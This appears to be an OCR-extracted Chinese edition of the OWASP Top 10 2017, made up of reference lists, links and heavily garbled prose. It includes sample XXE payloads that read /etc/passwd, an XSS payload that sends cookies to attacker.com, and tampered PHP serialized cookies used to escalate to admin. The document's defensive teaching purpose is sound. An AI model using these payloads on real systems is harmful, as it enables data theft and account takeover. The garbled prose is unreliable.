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OWASP

* OWASP Proactive Controls - Implement Identity and
Authentication Controls

* OWASP ASVS - V2 Authentication, V3 Session Management
* OWASP Testing Guide: Identity, Authentication

* OWASP Cheat Sheet: Authentication

* OWASP Cheat Sheet: Credential Stuffing

* OWASP Cheat Sheet: Forgot Password

* OWASP Cheat Sheet: Session Management

+ OWASP Automated Threats Handbook

SR BT R
* NIST 800-63b 5.1.1 Memorized Secrets

* CWE-287: Improper Authentication
» CWE-384: Session Fixation



https://www.owasp.org/index.php/Credential_stuffing
https://github.com/danielmiessler/SecLists
https://www.owasp.org/index.php/Credential_stuffing
https://www.owasp.org/index.php/OWASP_Proactive_Controls#5:_Implement_Identity_and_Authentication_Controls
http:// Authentication
https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home
https://www.owasp.org/index.php/Testing_Identity_Management
https://www.owasp.org/index.php/Testing_for_authentication
https://www.owasp.org/index.php/Authentication_Cheat_Sheet
https://www.owasp.org/index.php/Credential_Stuffing_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet
https://www.owasp.org/index.php/Session_Management_Cheat_Sheet
https://www.owasp.org/index.php/OWASP_Automated_Threats_to_Web_Applications
https://pages.nist.gov/800-63-3/sp800-63b.html#memsecret
https://cwe.mitre.org/data/definitions/287.html
https://cwe.mitre.org/data/definitions/384.html
https://github.com/danielmiessler/SecLists/tree/master/Passwords
https://pages.nist.gov/800-63-3/sp800-63b.html
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OWASP - OWASP Proactive Controls - Protect Data

+ OWASP Application Security Verification Standard (V7,9,10)
* OWASP Cheat Sheet - Transport Layer Protection

* OWASP Cheat Sheet - User Privacy Protection

* OWASP Cheat Sheet — Password and Cryptographic Storage
* OWASP Security Headers Project; Cheat Sheet: HSTS

*« OWASP Testing Guide - Testing for weak cryptography

SR TR

+ CWE-220 Exposure of sens. information through data queries
+ CWE-310: Cryptographic Issues; CWE-326: Weak Encryption
+ CWE-312: Cleartext Storage of Sensitive Information
CWE-319: Cleartext Transmission of Sensitive Information
CWE-326: Weak Encryption; CWE-327: Broken/Risky Crypto
CWE-359: Exposure of Private Information (Privacy Violation)



https://www.owasp.org/index.php/ASVS_V7_Cryptography
https://www.owasp.org/index.php/ASVS_V9_Data_Protection
https://www.owasp.org/index.php/ASVS_V10_Communications
https://www.owasp.org/index.php/OWASP_Proactive_Controls#7:_Protect_Data
https://www.owasp.org/index.php/ASVS_V7_Cryptography
https://www.owasp.org/index.php/ASVS_V9_Data_Protection
https://www.owasp.org/index.php/ASVS_V10_Communications
https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
https://www.owasp.org/index.php/User_Privacy_Protection_Cheat_Sheet
https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
https://www.owasp.org/index.php/User_Privacy_Protection_Cheat_Sheet
https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet
https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet
https://www.owasp.org/index.php/OWASP_Secure_Headers_Project
https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet
https://www.owasp.org/index.php/Testing_for_weak_Cryptography
https://cwe.mitre.org/data/definitions/202.html
http://cwe.mitre.org/data/definitions/310.html
http://cwe.mitre.org/data/definitions/326.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/319.html
http://cwe.mitre.org/data/definitions/326.html
https://cwe.mitre.org/data/definitions/359.html
https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet
https://www.cryptolux.org/index.php/Argon2
http://en.wikipedia.org/wiki/Scrypt
http://en.wikipedia.org/wiki/Bcrypt
http://en.wikipedia.org/wiki/PBKDF2
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XXEGkI.  XXEBRI{E TV BN B )7, Kby
PR IRBUT. 072 T B I A XML S

R #1: Wk S RS S A -
<?xml version="1.0" encoding="1S0-8859-1"?>
<IDOCTYPE foo [
<IELEMENT foo ANY >
<IENTITY xxe SYSTEM "file:/l/etc/passwd" >]>
<foo>&xxe;</foo>

SR #2: SO DA b SEARAT B O BT A AR IR IR 55
a1 P R 2 -
<IENTITY xxe SYSTEM "https://192.168.1.1/private" >]>

S5 #3: Wi I R S AT SRR 55 L
<IENTITY xxe SYSTEM "file:///[dev/random" >]>
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OWASP

* OWASP Application Security Verification Standard
* OWASP Testing Guide - Testing for XML Injection
* OWASP XXE Vulnerability

*» OWASP Cheat Sheet: XXE Prevention

* OWASP Cheat Sheet: XML Security

SR TR

« CWE-611 Improper Restriction of XXE

« Billion Laughs Attack

* SAML Security XML External Entity Attack

« Detecting and exploiting XXE in SAML Interfaces



https://en.wikipedia.org/wiki/Document_type_definition
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home
https://www.owasp.org/index.php/Testing_for_XML_Injection_(OTG-INPVAL-008)
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/XML_Security_Cheat_Sheet
https://cwe.mitre.org/data/definitions/611.html
https://en.wikipedia.org/wiki/Billion_laughs_attack
https://secretsofappsecurity.blogspot.tw/2017/01/saml-security-xml-external-entity-attack.html
https://web-in-security.blogspot.tw/2014/11/detecting-and-exploiting-xxe-in-saml.html
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Source_Code_Analysis_Tools
https://www.owasp.org/index.php/Source_Code_Analysis_Tools
https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools
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OWASP

* OWASP Proactive Controls - Access Controls

* OWASP Application Security Verification Standard - V4 Access
Control

« OWASP Testing Guide : Authorization Testing
* OWASP Cheat Sheet : Access Control

HhER AL

« CWE-22: Improper Limitation of a Pathname to a Restricted
Directory ('Path Traversal')

*« CWE-284: Improper Access Control (Authorization)

* CWE-285: Improper Authorization

* CWE-639: Authorization Bypass Through User-Controlled Key

* PortSwigger: Exploiting CORS Misconfiguration



https://www.owasp.org/index.php/OWASP_Proactive_Controls#6:_Implement_Access_Controls
https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home
https://www.owasp.org/index.php/Testing_for_Authorization
https://www.owasp.org/index.php/Access_Control_Cheat_Sheet
https://cwe.mitre.org/data/definitions/22.html
https://cwe.mitre.org/data/definitions/284.html
https://cwe.mitre.org/data/definitions/285.html
https://cwe.mitre.org/data/definitions/639.html
https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
https://www.owasp.org/index.php/Source_Code_Analysis_Tools
https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools
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OWASP
« OWASP Testing Guide: Configuration Management

« OWASP Testing Guide: Testing for Error Codes

N T EVER N T Rz FRE R, 155 N R % 2500k
#n#E V19 Configuration .

ShER B

NIST Guide to General Server Hardening
CWE-2: Environmental Security Flaws
CWE-16: Configuration

CWE-388: Error Handling

CIS Security Configuration Guides/Benchmarks
Amazon S3 Bucket Discovery and Enumeration



https://www.owasp.org/index.php/Testing_for_configuration_management
https://www.owasp.org/index.php/Testing_for_Error_Code_(OWASP-IG-006)
https://www.owasp.org/index.php/ASVS_V19_Configuration
http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-123.pdf
https://cwe.mitre.org/data/definitions/2.html
https://cwe.mitre.org/data/definitions/16.html
https://cwe.mitre.org/data/definitions/388.html
http://benchmarks.cisecurity.org/downloads/benchmarks/
https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html
https://www.owasp.org/index.php/OWASP_Secure_Headers_Project
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FHTDOMPIXSS: £ ahAS MK B 38 AT % 16 8 2 0N TUIH 1
JavaScripthE4 . HLTL 2P B APUFEAEIX M R M IRIH . AR
KA, RN 12 38 ks B ] 43 A O IR 4R AN 2 4 ) JavaScript
API.,

A X SST T T S8 Bl session. . S5 MFA. DIVE .,
S PN S (Bl SREARAE N L EEES) DR
A FH P Fry s

Bl RBIG=

Bga1: NHIFERAE T I HTMUACES B A4 35 rp i F R 22 B0 IE B
SCHIANAT A5 R 2d -

(String) page += ‘"<input name='creditcard’

value="" + request.getParameter("CC") + "'>";
W BN ds b e “cc” SHON I E:

'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo="+document.cookie</script>'.

AW G B E IS 1D IE B M () W, A A
BRI P AT =ik
VER: Jrali 2 (R R BE A P 28 o A AR O 7 P AR T RE A8 P PO A AT

EEukiiE K Oyt (CSRF) BHHHLA] . CSRFMTELNE i W, 2013 4F iR
[IASTH .

type='TEXT‘

el By 1k ?
B3 1 XSS 7 B4 AR T {5 4R S ZD A 3 S8 P9 28 (X 40 FF . 3T A
jEh U/ I B

o A BTE B2 B A gm b R A XSS ia] T HEZE, Wl: Ruby 3.0
5 ReactJS. [ fB4FAMELIXSSIR R EME, FEi& Y Hbab

R 35 R

9T A S TR R IXS SR, ST IMNE R IEHTML
b B SC (UHE: B4k, JEPE. JavaScript. CSSEURL )

X AT ASATE IHTTPIE SR AR AT 1A A% 3, 205
Y HARREEN: (OWASP Cheat Sheet ‘XSS Prevention’)

TE2 P S o Y 4% SCRY I, SN T BE9DOM XSSH, el
PR St bR S CRUBE IR Y, W FIX R A B e, W LA
X (OWASP Cheat Sheet ‘DOM based XSS Prevention )
IR 1R SCRUB I FE SCHIR B H T3 W2 AP,

i FH 2522 A5 T (CSP) &S HIXSSHIVRFERH M e . o
ANAFAE T DU A SO B S e ARRS I oAb i) (i B84
%%%%%Hﬁﬁﬁ:lﬂ%*%iﬁﬁ@%%I&EEB’\JEE) , WRZSENE &
KHY o

SEBR

OWASP

* OWASP Proactive Controls - Encode Data

* OWASP Proactive Controls - Validate Data

* OWASP Application Security Verification Standard - V5
* OWASP Testing Guide: Testing for Reflected XSS
* OWASP Testing Guide: Testing for Stored XSS

* OWASP Testing Guide: Testing for DOM XSS

* OWASP Cheat Sheet: XSS Prevention

* OWASP Cheat Sheet: DOM based XSS Prevention
* OWASP Cheat Sheet: XSS Filter Evasion

« OWASP Java Encoder Project

S ERBERL

« CWE-79: Improper neutralization of user supplied input
« PortSwigger: Client-side template injection



https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2016
https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2016
https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)
https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)
https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
https://cwe.mitre.org/data/definitions/79.html
https://portswigger.net/knowledgebase/issues/details/00200308_clientsidetemplateinjection
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet
https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
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« HTTP cookie. HTMLEE 540, APIE 36 F 4 il o WERFHIML, P RETRT IR, NPT

Bl RBIG= ZHEBR

R #1:. — 1 ReactHFEF A T —4Spring Bootf k5. 1 OWASP
%Iﬂﬁg‘fif‘igﬁ ’ ﬁﬁﬂ‘]ﬁt E]ﬁﬁif%ﬁﬁ{l‘] E‘]ﬁﬁ%{%fjﬁf?ﬁﬂ@ o 1"1131'1‘]% . OWASP Cheat Sheet: Deseria”zation
gi;?;gg%f?oﬁﬁﬁgﬁgggﬁﬁggﬁi‘;ﬂgiﬁ%”efﬁi ¢ OWASP Proactive Controls: Validate All Inputs

ELTE R RS 2% LR m AR HAT . «  OWASP Application Security Verification Standard
» OWASP AppSecEU 2016: Surviving the Java Deserialization
Bk #2: —MPHPILIZAEFIPHPR RF SR AF— 1 “ AaDezlyfas

2%” cookie. i%cookietl & T H IR FID. M., SRS 7S ¢ OWASP AppSecUSA2017: Friday the 13th JSON Attacks
AR -
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";

35300 : S FR
i:3;5:32:"b6a8b3bea87fe0e05022f8f3c88bc960";} HP I
W 5 U7 Fe e % R T E 2o vadmin R : « CWE-502: Deserialization of Untrusted Data
a:4:{i:0;i:1;i:1;s:5:" Alice";i:2;s:5:"admin"; « Java UnmarshallerSecurity

i:3;5:32:"b6a8b3beal87fe0e05022f8f3c88bc960";} . OWASP AppSecCali 2015: Marshalling Pickles



https://www.owasp.org/index.php/Deserialization_Cheat_Sheet
https://www.owasp.org/index.php/OWASP_Proactive_Controls#4:_Validate_All_Inputs
https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home
https://www.slideshare.net/cschneider4711/surviving-the-java-deserialization-apocalypse-owasp-appseceu-2016
https://speakerdeck.com/pwntester/friday-the-13th-json-attacks
https://cwe.mitre.org/data/definitions/502.html
https://github.com/mbechler/marshalsec
http://frohoff.github.io/appseccali-marshalling-pickles/
https://owasp.blogspot.com/2017/08/owasp-top-10-2017-project-update.html

188 SRR A

15

IIIIEIIIII.\’:I,> AT O@uasssmmmmnn

(FERERNRE ) ggurn]

i; ®nnnnie KR |
NEFI A AR 2

X —LeR IR R 7% 5 4R 2SR AR
AR HL e O T 0 75 2 5 ) T

ATtk 2 HEAR: 2 W5 ?

X R B AL . ST AT RS2
HOT R HBARAAS T fift HL R AT AP A F O 24, 3
AL LI SR S T

WiRetire.js 22 JS A4k & 1] LA B A DL SR TR, (HIX
IR 2 75 7T LARI R 3 75 € S A AR I 8] 250 9

IR T L AN IR LR R AR,
{ELH RIAR 2™ 0 22 A A2 A A
SHAER R AR . AR (R BT 2 R A
M5, SIS fE R

VAN e g R L i

AR SRHAL N THTAOREAS 26, IS AR Sk 52 32 e R i -

o WRAVRAENEFTE A ALERAE S (B3 RS a1
Ut o XELHE T B A B AR T LA
o WMRBA G2, AESCFEGE TR, XA OS. Webfk

an NI 4 Bl A RS (DBMS) « MR

APIFIFTA B I8AT IR

o WRARAS 2 8 BRI A S AN LT R A AR ) 2 A A

o MRARAZET RS K IHER BSTHRRZE T 6« HEZUNMK A .
TRATREAREIXFIIEOL: ARIEAS S, A BT T,
XAEAFH UL IX BN [H] Y 2 52 3] A RABARASH 3 I B -

o WRBAT RIS X EH . THRA AT A T AR AT 5
A

o MRRBA R AABAT 2R E (ES% “A6:2017-% L HAE

= )

N

Bl RBIG=

T #1: R RHEA MRS UL N A R RR S AT, X (E75
ZA 1 B PRI T BE S B AR A I ) . X BB ] RE SR B AR
Chn: gRiUssis) , MAlRERERM (n: AHERNETD - F
TH & — 2 AR A F IR -
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« FJF 1 versions. DependencyCheck . retire.js% T. H ok Er4: 1
VOS2 AR 25 2% s AR B AT T RIS B (R AR A S . sk g
WICVE F NVD%E & 75 kA O AL IsTRE B, 7T DU R
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OWASP

* OWASP Application Security Verification Standard: V1
Architecture, design and threat modelling

* OWASP Dependency Check (for Java and .NET libraries)

* OWASP Testing Guide: Map Application Architecture (OTG-
INFO-010)
* OWASP Virtual Patching Best Practices

HhER AL

» The Unfortunate Reality of Insecure Libraries

« MITRE Common Vulnerabilities and Exposures (CVE) search
» National Vulnerability Database (NVD)

« Retire.js for detecting known vulnerable JavaScript libraries

* Node Libraries Security Advisories

* Ruby Libraries Security Advisory Database and Tools



https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
https://en.wikipedia.org/wiki/Internet_of_things
https://en.wikipedia.org/wiki/Heartbleed
https://www.shodan.io/report/89bnfUyJ
https://www.owasp.org/index.php/ASVS_V1_Architecture
https://www.owasp.org/index.php/OWASP_Dependency_Check
https://www.owasp.org/index.php/Map_Application_Architecture_(OTG-INFO-010)
https://www.owasp.org/index.php/Virtual_Patching_Best_Practices
https://www.aspectsecurity.com/research-presentations/the-unfortunate-reality-of-insecure-libraries
https://www.cvedetails.com/version-search.php
https://nvd.nist.gov/
https://github.com/retirejs/retire.js/
https://nodesecurity.io/advisories
https://rubysec.com/
http://www.mojohaus.org/versions-maven-plugin/
https://www.owasp.org/index.php/OWASP_Dependency_Check
https://github.com/retirejs/retire.js/
https://cve.mitre.org/
https://nvd.nist.gov/
https://www.owasp.org/index.php/Virtual_Patching_Best_Practices#What_is_a_Virtual_Patch.3F
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OWASP

» OWASP Proactive Controls: Implement Logging and Intrusion

Detection

OWASP Application Security Verification Standard: V8
Logging and Monitoring

OWASP Testing Guide: Testing for Detailed Error Code
OWASP Cheat Sheet: Logging

IR B

 CWE-223: Omission of Security-relevant Information
»  CWE-778: Insufficient Logging



https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
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https://www.owasp.org/index.php/Projects
https://www.owasp.org/
http://stores.lulu.com/owasp
https://item.jd.com/11987300.html
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex
https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series
https://www.owasp.org/index.php/OWASP_Proactive_Controls
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https://www.owasp.org/index.php/Category:OWASP_Education_Project
https://www.owasp.org/index.php/WebGoat
https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET
https://www.owasp.org/index.php/OWASP_Node_js_Goat_Project
https://www.owasp.org/index.php/OWASP_Juice_Shop_Project
https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project
https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference
https://www.owasp.org/index.php/Category:OWASP_Chapter
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